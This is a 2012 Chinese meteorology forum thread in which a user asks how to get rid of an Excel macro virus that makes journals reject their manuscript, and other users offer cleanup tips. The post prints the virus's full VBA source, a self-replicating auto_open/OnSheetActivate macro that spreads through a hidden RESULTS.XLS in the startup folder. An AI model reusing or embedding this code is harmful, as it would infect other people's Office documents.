爱气象,爱气象家园! 

气象家园

 找回密码
 立即注册

QQ登录

只需一步,快速开始

新浪微博登陆

只需一步, 快速开始

搜索
查看: 4213|回复: 3

用VBA中了宏病毒,大伙有没有办法呀?

[复制链接]

新浪微博达人勋

发表于 2012-5-16 22:16:54 | 显示全部楼层 |阅读模式

登录后查看更多精彩内容~

您需要 登录 才可以下载或查看,没有帐号?立即注册 新浪微博登陆

x
本帖最后由 碧海凌波 于 2012-5-17 08:58 编辑

    平时会经常用VBA编辑程序计算一些指标,批量处理数据,不知道怎么回事,一不小心,就中了宏病毒。前一段时间有一篇文章投给了一个期刊,然后返修回来,改完又送递期刊编辑处,但是他的邮箱怎么都接受不到,然后通过qq传给他也不行,他的电脑上总是提示我的文件有非法的宏,有病毒。后来我下载了office病毒查杀工具,然后再把文稿发给那个期刊还是不行,编辑还是打不开我的文档,完全无法下载(自动回复:请不要使用迅雷等下载工具,使用IE右键另存为就可以)(自动回复:请不要使用迅雷等下载工具,使用IE右键另存为就可以)(自动回复:请不要使用迅雷等下载工具,使用IE右键另存为就可以),他的服务器总是提醒我的文稿中存在非法的宏命令!
     这样的事情大伙碰到过没有,望指教呀!!!

每个excel中自动生成如下代码,不是我编辑的,中毒之后自动生成:
Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub
Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "/" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

每次发送邮件有病毒提醒如下:
未命名.bmp



本来我的文件是.doc格式,后来我改了好几种格式都不行,显示病毒提醒如上所示
未命名s.bmp
密码修改失败请联系微信:mofangbao

新浪微博达人勋

0
早起挑战累计收入
发表于 2012-5-16 23:46:16 | 显示全部楼层
能贴上来看看吗,你用的宏和提示有毒的文件
密码修改失败请联系微信:mofangbao

新浪微博达人勋

发表于 2012-5-17 00:07:58 | 显示全部楼层
提个思路,不一定有效。
安装金山WPS,复制粘贴到WPS中,再输出为doc格式。
密码修改失败请联系微信:mofangbao

新浪微博达人勋

发表于 2012-5-17 10:35:53 | 显示全部楼层
你的电脑需要好好杀毒管理后,把文件中的文字等内容拷出来在重新生成1个文件。
密码修改失败请联系微信:mofangbao
您需要登录后才可以回帖 登录 | 立即注册 新浪微博登陆

本版积分规则

Copyright ©2011-2014 bbs.06climate.com All Rights Reserved.  Powered by Discuz! (京ICP-10201084)

本站信息均由会员发表,不代表气象家园立场,禁止在本站发表与国家法律相抵触言论

快速回复 返回顶部 返回列表